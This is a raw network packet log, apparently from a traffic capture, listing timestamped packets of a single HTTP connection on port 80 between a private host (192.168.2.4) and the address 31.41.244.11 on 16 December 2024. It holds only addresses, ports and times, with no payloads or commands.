Dec 16, 2024 21:02:52.896111012 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.896169901 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.896169901 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.900528908 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.900638103 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.900722027 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.900815010 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.905178070 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.905365944 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.905383110 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.905446053 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.909511089 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.909739971 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.909811974 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.914159060 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.914196968 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.914227009 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.914258003 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.918602943 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.918740034 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.918767929 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.918831110 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.923039913 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.923176050 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.923213959 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.923249006 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.927479029 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.927587032 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.927639961 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.932001114 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.932051897 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.932064056 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.932096958 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.936561108 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.936655045 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.936682940 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.936754942 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.940968037 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.941024065 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.941059113 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.941107988 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.945493937 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.945559025 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.945630074 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.945785999 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.949982882 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.950097084 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.950134039 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.950189114 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.954435110 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.954493999 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:52.954529047 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:52.954587936 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.031609058 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.031666994 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.031686068 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.031722069 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.033808947 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.033871889 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.060530901 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.060614109 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.060635090 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.061028957 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.062377930 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.062447071 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.062547922 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.062714100 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.065700054 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.065758944 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.065869093 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.065922022 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.069251060 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.069366932 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.069406986 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.069534063 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.072664976 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.072757959 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.072803020 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.072838068 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.075941086 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.075995922 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.076008081 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.076045036 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.079238892 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.079333067 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.079443932 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.079503059 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.082461119 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.082581043 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.082581997 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.082638025 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.085959911 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.086020947 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.086215973 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.086285114 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.088893890 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.088953018 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.089041948 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.089097977 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.092135906 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.092231035 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.092241049 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.092283010 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.095191002 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.095226049 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.095283985 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.098177910 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.098234892 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.098308086 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.098505974 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.101577997 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.101696014 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.101722956 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.101758957 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.104480028 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.104546070 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.104624987 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.104674101 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.107526064 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.107584953 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.107641935 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.107758045 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.110867023 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.110945940 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.111033916 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.111108065 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.113854885 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.113934994 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.114005089 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.114092112 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.117233038 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.117288113 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.117564917 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.117620945 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.120098114 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.120156050 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.120301962 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.120354891 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.123244047 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.123295069 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.123399019 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.123446941 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.126329899 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.126380920 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.126434088 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.126482964 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.129584074 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.129652977 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.129688978 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.129688978 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.132646084 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.132703066 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.132749081 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.132807016 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.135770082 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.135817051 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.135905981 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.136001110 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.139013052 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.139085054 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.139321089 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.139374971 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.142651081 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.142704964 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.142812967 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.142863035 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.145420074 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.145473957 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.145572901 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.145651102 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.148298025 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.148349047 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.148428917 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.148478985 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.151451111 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.151500940 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.151546001 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.151595116 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.154599905 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.154678106 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.154798985 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.155071974 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.157773972 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.157824039 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.157908916 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.157960892 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.160989046 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.161040068 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.161129951 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.161237955 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.164052963 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.164107084 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.164205074 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.164315939 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.167119980 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.167177916 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.223409891 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.223572969 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.223742962 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.224299908 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.224458933 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.224458933 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.224549055 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.227863073 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.227907896 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.228117943 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.228117943 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.251610041 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.251689911 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.251847982 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.251900911 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.252305984 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.252353907 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.252397060 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.252440929 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.254753113 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.254924059 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.255002022 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.256558895 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.256609917 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.256616116 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.256699085 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.259059906 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.259151936 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.259185076 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.259295940 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.261611938 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.261805058 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.261858940 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.261928082 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.264038086 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.264132977 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.264188051 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.266475916 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.266521931 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.266731024 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.267158985 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.268713951 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.268821955 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.268855095 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.268955946 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.271039963 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.271094084 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.271148920 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.271310091 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.273333073 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.273407936 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.273452044 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.273632050 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.275546074 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.275604963 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.275654078 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.275710106 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.277702093 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.277750969 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.277757883 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.277801037 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.279932976 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.279989958 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.280076981 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.280132055 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.282104015 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.282187939 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.282248974 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.284198046 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.284312963 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.284454107 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.284455061 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.286396027 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.286456108 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.286510944 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.286624908 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.287662983 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.287717104 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.287770033 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.287971973 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.289089918 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.289155006 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.289167881 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.289199114 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.290380955 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.290431023 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.290468931 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.290518045 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.291704893 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.291757107 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.291783094 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.291835070 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.293045998 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.293095112 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.293118000 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.293164015 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.294526100 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.294583082 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.294661045 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.294955015 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.295737982 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.295789003 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.295839071 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.295908928 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.297097921 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.297158957 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.297235966 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.297354937 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.298501015 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.298549891 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.298618078 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.298665047 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.299923897 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.299972057 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.300015926 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.300184011 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.301127911 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.301182032 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.301224947 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.301268101 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.302489996 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.302537918 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.302581072 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.302633047 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.303917885 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.303942919 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.303977013 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.303977013 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.305135012 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.305263996 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.306503057 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.306582928 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.307811975 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.307948112 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.308080912 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.308110952 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.309161901 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.309282064 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.309350967 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.309350967 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.310615063 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.310668945 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.310715914 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.310765982 CET	49864	80	192.168.2.4	31.41.244.11
